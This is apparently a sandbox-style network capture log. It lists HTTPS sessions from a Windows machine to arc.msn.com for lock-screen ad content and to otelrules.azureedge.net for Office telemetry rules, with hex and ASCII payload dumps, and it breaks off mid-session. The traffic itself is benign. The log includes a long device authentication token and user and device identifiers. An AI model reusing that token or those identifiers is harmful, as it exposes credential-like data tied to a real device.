t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:15 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23466 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: iD9p/0mwmLGlYJeDTZF/kADGydfM+xlu9/gC9m4rzuiZE/zi7mJK9fdt48SlLWBLucBndea1c5JpGP+U4DtW8sphldkyW5R+OOjcHeGuWq8dsiIH+gtTNkS6NK8rkI2PPre2H8qWzFCy52bwublU2XMTzStw952NlhtSbTKzu84f+dQ3TKHqI7mo4e0jBfwuOOIDitaOuasbYdASQh/fEzCrZD4cRrMB6tIf/I4Sv2vGgz/Uy+kaOc8ICcyYVGtGD8zBt8q3+qZO+F25YwFCJM/fSsKaueOPoL2RWOFGOVFNKkxBZrvW4q4qndFYWzfpqlaUi+hA6rBNrAcMiTjOkw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:15 GMT Connection: close
2024-11-23 01:55:15 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-23 01:55:15 UTC	7897	IN	Data Raw: 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 55 79 4f 44 45 30 4d 7a 6b 7a 4d 54 45 79 4d 54 67 6a 4d 6a 4d 7a 4e 7a 41 34 4d 44 59 34 4e 54 49 77 4d 7a 55 31 4e 51 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 Data Ascii: nid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODUyODE0MzkzMTEyMTgjMjMzNzA4MDY4NTIwMzU1NQ==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"c

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:16 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015516Z-178bfbc474bwlrhlhC1NYCy3kg00000003s000000000gggg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:16 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:16 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015516Z-174c587ffdftjz9shC1TEBsh98000000026g000000003gkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:16 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:16 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015516Z-178bfbc474bw8bwphC1NYC38b400000003pg0000000080c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:16 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015516Z-174c587ffdf9xbcchC1TEBxkz4000000021g00000000k07z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49725	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:17 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015514Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7ef99f61a8404625883240514b03f228&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-280815&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:18 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2968 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: tO48dyXb0xQjQUGhBMxHVOqJPmvjiRCwvgBWS+Bvx86CH6WHIGvIxYZp/9ieac1vlHacU9PXHt6WRIB09jetoKewd5b2ozVqgoDdXKvAkYYGw+IUoiEU2yEkk76hI4vFmaYctiBbh7mApQIFsz1MEdUyJr4FiDn2+OJIRFYq9RG6aqPmWovNPSt8dv0tfDEBlg8ZBWHJ5mp6Qg+xfomZSFC19lDGH8eXT4uvezeP1CrTwNBN4B4g9YXVmZGsM04b0AOPDEHbwfRkBC03bSZW6tuuiKHa2UhoGGFywNHVh9VSv1nI1o0mx416ETwBE52SUh5q1cCG+ks6wdy+wlbDLg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:16 GMT Connection: close
2024-11-23 01:55:18 UTC	2968	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:18 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015518Z-174c587ffdfgcs66hC1TEB69cs000000023g00000000dh8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:18 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015518Z-178bfbc474bh5zbqhC1NYCkdug00000003rg00000000av66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:18 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
